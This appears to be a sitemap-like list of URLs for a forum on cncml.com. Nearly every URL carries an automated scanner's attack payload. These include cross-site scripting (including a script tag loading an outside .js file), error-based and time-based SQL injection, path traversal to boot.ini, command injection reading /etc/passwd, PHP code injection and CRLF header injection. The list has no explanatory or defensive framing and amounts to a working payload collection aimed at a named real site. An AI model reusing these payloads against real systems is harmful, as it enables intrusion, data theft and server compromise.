http://www.cncml.com/forum.php?mod=guide&view=new%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%5B%5D 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%5C%22 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%5C' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%bf%27 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new&page=1 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new&page=2 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new&page=3 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new&page=4 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new&rss=1 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%20'He'%20LIKE%20'He 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%20'UY'='UY 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%20'bE'='Iy 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%20'fY'%20LIKE%20'rz 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%20'i8'='oQ 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%20'ye'='ye 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=99)%20THEN%200x6E6577%20ELSE%200x28%20END))%20AND%20'P5'='P5 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x6E6577%20ELSE%200x28%20END))%20AND%20'uR'='uR 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%22 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%20('40'%20LIKE%20'40 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%20('YP'%20LIKE%20'oD 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%2024=16%20AND%20('py'='py 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%2076=76%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20OR%2095=95%20AND%20('3Z'='3Z 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=64)%20THEN%200x6E6577%20ELSE%200x28%20END))%20AND%20('DM'='DM 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(97=92)%20THEN%200x6E6577%20ELSE%200x28%20END))%20AND%20('TP'='TP 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(26=78)%20THEN%200x6E6577%20ELSE%200x28%20END))%20AND%20(26=26 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=34)%20THEN%200x6E6577%20ELSE%200x28%20END))%20AND%20(33=33 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,(SELECT%20(CASE%20WHEN%20(24=12)%20THEN%200x6E6577%20ELSE%2024*(SELECT%2024%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,(SELECT%20(CASE%20WHEN%20(31=12)%20THEN%200x6E6577%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,(SELECT%20(CASE%20WHEN%20(39=11)%20THEN%200x6E6577%20ELSE%2039*(SELECT%2039%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,(SELECT%20(CASE%20WHEN%20(85=85)%20THEN%200x6E6577%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,(SELECT%20(CASE%20WHEN%20(86=86)%20THEN%200x6E6577%20ELSE%2086*(SELECT%2086%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,(SELECT%20(CASE%20WHEN%20(88=88)%20THEN%200x6E6577%20ELSE%2088*(SELECT%2088%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new1 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new6633x3X6 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newJyI%3D 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newa' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newalert(42873) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newe360 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newthread 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newthread&page=1 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newthread&page=2 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newthread&page=3 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newthread&page=4 0.0001 http://www.cncml.com/forum.php?mod=guide&view=newthread&rss=1 0.0001 http://www.cncml.com/forum.php?mod=guide&view=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=guide&view=phpinfo 0.0001 http://www.cncml.com/forum.php?mod=guide&view=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mod=guide&view=sofa 0.0001 http://www.cncml.com/forum.php?mod=guide&view=sofa&rss=1 0.0001 http://www.cncml.com/forum.php?mod=misc&action=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mod=misc&action=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?mod=misc&action='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=misc&action=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=misc&action=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20(CASE%20WHEN%20(12=98)%20THEN%200x6E6176%20ELSE%2012*(SELECT%2012%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20(CASE%20WHEN%20(15=11)%20THEN%200x6E6176%20ELSE%2015*(SELECT%2015%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20(CASE%20WHEN%20(22=51)%20THEN%200x6E6176%20ELSE%2022*(SELECT%2022%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x6E6176%20ELSE%2041*(SELECT%2041%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20(CASE%20WHEN%20(43=16)%20THEN%200x6E6176%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20(CASE%20WHEN%20(68=68)%20THEN%200x6E6176%20ELSE%2068*(SELECT%2068%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%200x6E6176%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%200x6E6176%20ELSE%2081*(SELECT%2081%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=misc&action=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=misc&action=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mod=misc&action=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=misc&action=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=misc&action=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=misc&action=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mod=misc&action=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mod=misc&action=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mod=misc&action=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=misc&action=ELT(21=37,0x6E6176) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=ELT(78=78,0x6E6176) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=MAKE_SET(45=25,0x6E6176) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=MAKE_SET(64=64,0x6E6176) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mod=misc&action=dir 0.0001 